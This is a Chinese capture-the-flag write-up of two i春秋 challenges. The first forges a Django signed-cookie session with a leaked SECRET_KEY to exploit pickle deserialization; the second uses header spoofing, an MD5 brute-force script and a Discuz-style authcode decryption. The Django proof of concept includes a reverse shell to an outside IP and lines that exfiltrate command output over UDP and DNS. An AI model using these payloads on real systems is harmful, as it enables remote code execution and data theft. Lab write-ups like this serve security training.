i春秋 1 – Gift、fuzzing
Gift
c62s的生日礼物
脑洞题目,根据题目提示c62s的生日礼物
去github上搜c62s用户。
可以看到zip包是加密的。
使用zip爆破,密码20001111
。得到SECRET_KEY.KEY
文件,文件内容。
oa4$kkk802=rfm@tl^e5yb3qvs_ea3r!m*&j+#_+s-9=xcieci
看到Key文件可以联想到Django的反序列化漏洞,测试。
参考 http://blog.nsfocus.net/django-code-execution-vulnerability/ 此文章构造POC,执行脚本前需使用pip安装Django1.6版本以下。修改相关参数生成session。
import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies
settings.configure(SECRET_KEY='oa4$kkk802=rfm@tl^e5yb3qvs_ea3r!m*&j+#_+s-9=xcieci')
class Run(object):
def __reduce__(self):
# return (os.system,('touch /tmp/xxlegend.log',))
# return (os.system,('bash -i >& /dev/tcp/74.121.150.85/9999 0>&1',))
# return (os.system,('echo 111 > D:/1.txt',))
import subprocess
# return (subprocess.call,
# (['python','-c',
# 'import os,binascii;s=binascii.hexlify(os.popen("whoami").read().strip());'
# 'cmd="ping -c 1" + s + ".xxxx.dnslog.link";'
# 'os.popen(cmd)'
# ],))
return (subprocess.call,
(['python','-c',
'import os,socket;print "xxx";c=os.popen("whoami").read().strip();s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM);s.sendto(c, ("xx.xx.xx.xx", 9999));'
],))
# return (subprocess.call,
# (['python','-c',
# 'import os,binascii;s=binascii.hexlify(os.popen("whoami").read().strip());'
# 'cmd="ping -c 1 -p " + s + "xx.xx.xx.xx";'
# 'os.popen(cmd)'
# ],))
sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
print sess
使用命令whoami
获取到的内容。
使用命令ls -al
获取到的内容。
使用命令cat flag.txt
获取flag内容。
flag{8ae9c523-33f3-4946-855c-1e015412c005}
fuzzing
访问页面发现hint
修改X-Forwarded-for获得下一步的条件
访问新的页面m4ange.php,根据提示加入参数key,得到返回包,需要接一个md5值,明文的最后三位没有给,写个脚本爆破一下。
import string
import hashlib
def md5(s):
md5=hashlib.md5()
md5.update(s)
return md5.hexdigest()
payloads = string.lowercase + string.digits
for i in payloads:
for j in payloads:
for k in payloads:
s = '{}{}{}'.format(i,j,k)
s = 'ichunqiu' + s
if md5(s) == '1b4167610ba3f2ac426a68488dbd89be':
print s
exit()
得到keyichunqiu105
使用此可访问获得下一步提示,给出了一个新的php页面
访问 xx00xxoo.php,发现一串密文
提示加密函数源码在 x0.txt
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if ($operation == 'DECODE') {
if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc . str_replace('=', '', base64_encode($result));
}
}
可以看到authcode方法本身即可加密也可解密,关键就在于找到相应的key值,这里使用前面找到的keyichunqiu105
尝试进行解密,发现解密成功。使用下列方法解密,获得flag。
echo authcode("e6a5cmS1JU+s+ghzrRcjwnDDqOXyfHp80dm7E3VP6N7Qny+krV2H2ctgUIjItaLSDUhNG/i5bHOlmzOxbD8Vj/QKdGgDhOk",$operation='DECODE',$key="ichunqiu105");
flag{3648ea23-b240-4488-b900-6cf1f236dc80}